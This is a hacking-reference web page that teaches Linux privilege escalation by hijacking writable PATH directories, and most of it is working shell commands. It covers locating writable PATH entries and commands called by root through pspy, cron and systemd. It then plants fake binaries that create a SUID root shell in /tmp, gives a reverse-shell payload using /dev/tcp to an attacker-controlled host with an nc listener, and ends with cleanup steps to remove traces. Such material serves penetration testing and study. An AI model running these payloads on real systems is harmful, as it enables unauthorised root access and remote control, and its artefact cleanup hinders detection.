# Writable PATH Hijacking for Privilege Escalation

> Exploit misconfigured PATH variables by injecting malicious binaries into writable directories, hijacking privileged process execution to escalate local Linux permissions.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

When a privileged process calls a command without an absolute path, the OS resolves it by searching each directory in `PATH` from left to right. If you control a directory that appears before the real binary's location, your malicious version executes instead. This requires finding a writable directory in PATH and identifying at least one unqualified command that a root process calls.

Common sources of writable PATH directories:

- `/usr/local/bin` writable by the staff group
- `/tmp` prepended in cron PATH
- Current directory (`.`) or empty entry (`::`) in PATH
- Custom application directories with loose permissions

## Prerequisites Check

Check your current PATH and which directories you can write to:

```bash
echo $PATH

# Find writable directories in PATH
echo $PATH | tr ':' '\n' | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE: $dir"
done
```

Check the system-wide PATH set in common locations:

```bash
cat /etc/environment 2>/dev/null
cat /etc/profile 2>/dev/null
grep -r "PATH=" /etc/profile.d/ 2>/dev/null
```

If the `staff` group has write access to `/usr/local/bin` and you are in that group, that is writable PATH. See [https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation).

## Identifying Path Hijacking Privilege Escalation Targets

You need to find a command that a root-owned script or cron job calls without a full path like `/usr/bin/tar`. Use pspy to observe live process invocations:

```bash
chmod +x /tmp/pspy64
/tmp/pspy64 -pf -i 1000
```

Watch for UID=0 processes and note the exact command line. Look for short command names without leading `/`.

Also check cron jobs and systemd services statically:

```bash
# Cron scripts
grep -rn --include="*.sh" -E "^[a-zA-Z]|[;&|]\s*[a-zA-Z]" /etc/cron* /opt /usr/local 2>/dev/null | grep -v "^Binary"

# Systemd ExecStart
grep -r "ExecStart=" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | grep -v "^Binary" | grep -v "ExecStart=/"

# SUID binaries calling commands (via strings analysis)
find / -perm -u=s -type f 2>/dev/null | xargs strings 2>/dev/null | grep -E "^[a-z]{2,15}$" | sort -u
```

## Confirming the Resolution Order

Before planting, confirm that the binary you identified resolves to a system path: not an absolute call:

```bash
# Check if the script uses absolute or relative path
grep "tar\|backup\|cp\|mv" /path/to/root-script.sh

# Check what PATH the script will use
head -20 /path/to/root-script.sh | grep "PATH="
```

If the script sets `PATH=/usr/bin:/bin` with no writable directory, hijacking is not viable for that script. If it sets `PATH=/tmp:/usr/bin` or does not set PATH at all (inheriting from cron's minimal PATH), check where cron's PATH directories are writable.

## Planting the Malicious Binary

Once you have confirmed a writable directory that appears before the real binary:

**SUID bash: most reliable payload:**

```bash
echo '#!/bin/sh' > /writable/dir/COMMANDNAME
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /writable/dir/COMMANDNAME
chmod +x /writable/dir/COMMANDNAME
```

Wait for the privileged process to run. Then:

```bash
/tmp/.rootbash -p
```

**Reverse shell payload:**

```bash
echo '#!/bin/sh' > /writable/dir/COMMANDNAME
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" >> /writable/dir/COMMANDNAME
chmod +x /writable/dir/COMMANDNAME
```

Start your listener first:

```bash
nc -lvnp $LPORT
```

## Common Writable PATH Scenarios

`/usr/local/bin`** writable (staff group or misconfigured permissions):**

```bash
ls -ld /usr/local/bin
# Check if writable by your group or world-writable

# Find what root calls that resolves here
which backup 2>/dev/null
which cleanup 2>/dev/null

# Plant
echo '#!/bin/sh' > /usr/local/bin/backup
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /usr/local/bin/backup
chmod +x /usr/local/bin/backup
```

**Cron PATH with **`/tmp`** prepended:**

When `/etc/crontab` has `PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin`:

```bash
echo '#!/bin/sh' > /tmp/COMMANDNAME
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/COMMANDNAME
chmod +x /tmp/COMMANDNAME
```

**Current directory (**`.`**) in PATH:**

If PATH contains `.` or starts with `:` (implicit current directory), any directory you are in when a root process runs becomes a hijack target:

```bash
echo $PATH | grep -E "^\.|:\.:|:\.$"
# Also check for implicit empty entry
echo $PATH | grep "::"
```

Plant a binary in any directory a root process changes into before executing the command.

## Confirming Execution

After planting, confirm the binary runs when triggered:

```bash
# Add a marker to verify your binary ran
echo '#!/bin/sh' > /writable/dir/COMMANDNAME
echo 'touch /tmp/.hijack_proof' >> /writable/dir/COMMANDNAME
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /writable/dir/COMMANDNAME
chmod +x /writable/dir/COMMANDNAME
```

Check for `/tmp/.hijack_proof` after the next cron interval or service restart. If it exists, your payload ran. If `/tmp/.rootbash` is also SUID:

```bash
ls -la /tmp/.rootbash
/tmp/.rootbash -p
whoami
```

## Cleanup

Remove your planted binary and the SUID shell after escalating to avoid leaving artefacts:

```bash
rm /writable/dir/COMMANDNAME
rm /tmp/.rootbash
rm /tmp/.hijack_proof
```

## References

- [which(1) Manual](https://man7.org/linux/man-pages/man1/which.1.html) - Command resolution and PATH search order.
- [crontab(5) Manual](https://man7.org/linux/man-pages/man5/crontab.5.html) - PATH variable behavior in cron environments.